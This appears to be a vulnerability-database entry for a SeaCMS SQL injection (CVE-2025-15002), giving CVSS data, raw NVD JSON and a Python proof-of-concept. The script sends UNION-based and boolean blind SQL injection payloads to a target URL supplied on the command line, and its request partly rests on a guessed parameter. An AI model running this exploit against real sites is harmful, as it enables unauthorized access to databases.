Security Vulnerability Report
中文
CVE-2025-15002 CVSS 7.3 HIGH

CVE-2025-15002

Published: 2025-12-21 23:15:48
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability has been found in SeaCMS up to 13.3. The affected element is an unknown function of the file js/player/dmplayer/dmku/class/mysqli.class.php. Such manipulation of the argument page/limit leads to sql injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:seacms:seacms:*:*:*:*:*:*:*:* - VULNERABLE
SeaCMS <= 13.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-15002 SQL Injection PoC for SeaCMS # Target: SeaCMS <= 13.3 # Vulnerability: SQL Injection in dmku/mysqli.class.php via page/limit parameters def exploit_sqli(target_url): """ SQL Injection exploitation via page parameter This PoC demonstrates extracting database version information """ # Target endpoint with vulnerable parameter vuln_url = f"{target_url}/js/player/dmplayer/dmku/class/mysqli.class.php" # SQL Injection payload - extracting database version # Using UNION-based injection to extract MySQL version payload = { 'action': 'list', # Assuming action parameter triggers the vulnerable function 'page': "1 UNION SELECT 1,2,3,4,5,@@version,7,8,9,10--", 'limit': '10' } print(f"[*] Target: {target_url}") print(f"[*] Exploiting SQL Injection in {vuln_url}") print(f"[*] Payload: {payload['page']}") try: response = requests.get(vuln_url, params=payload, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response length: {len(response.text)}") # Check for SQL error or data leakage if 'version' in response.text.lower() or 'mysql' in response.text.lower(): print(f"[!] Potential data leak detected in response") print(f"[+] Response snippet: {response.text[:500]}") else: print(f"[*] No obvious data leak - manual inspection required") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") def blind_sqli_test(target_url): """ Boolean-based blind SQL injection test Tests if the parameter is vulnerable by checking response differences """ base_url = f"{target_url}/js/player/dmplayer/dmku/class/mysqli.class.php" # Normal request normal_payload = {'action': 'list', 'page': '1', 'limit': '10'} # Malicious request - true condition true_payload = {'action': 'list', 'page': "1 AND 1=1", 'limit': '10'} # Malicious request - false condition false_payload = {'action': 'list', 'page': "1 AND 1=2", 'limit': '10'} try: resp_normal = requests.get(base_url, params=normal_payload, timeout=10) resp_true = requests.get(base_url, params=true_payload, timeout=10) resp_false = requests.get(base_url, params=false_payload, timeout=10) # If true and false responses differ, vulnerability likely exists if len(resp_true.text) != len(resp_false.text): print(f"[+] Blind SQLi confirmed - responses differ") print(f"[*] True condition length: {len(resp_true.text)}") print(f"[*] False condition length: {len(resp_false.text)}") else: print(f"[-] No clear blind SQLi indication") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sqli(target) print("\n[*] Running blind SQLi test...") blind_sqli_test(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15002", "sourceIdentifier": "[email protected]", "published": "2025-12-21T23:15:48.423", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in SeaCMS up to 13.3. The affected element is an unknown function of the file js/player/dmplayer/dmku/class/mysqli.class.php. Such manipulation of the argument page/limit leads to sql injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:seacms:seacms:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.0", "versionEndIncluding": "13.3", "matchCriteriaId": "5C321D0A-ADFE-45B7-9EC8-A3124EE451A3"}]}]}], "references": [{"url": "https://note-hxlab.wetolink.com/share/VFwALb6qhnTZ", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.337707", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.337707", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.716083", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}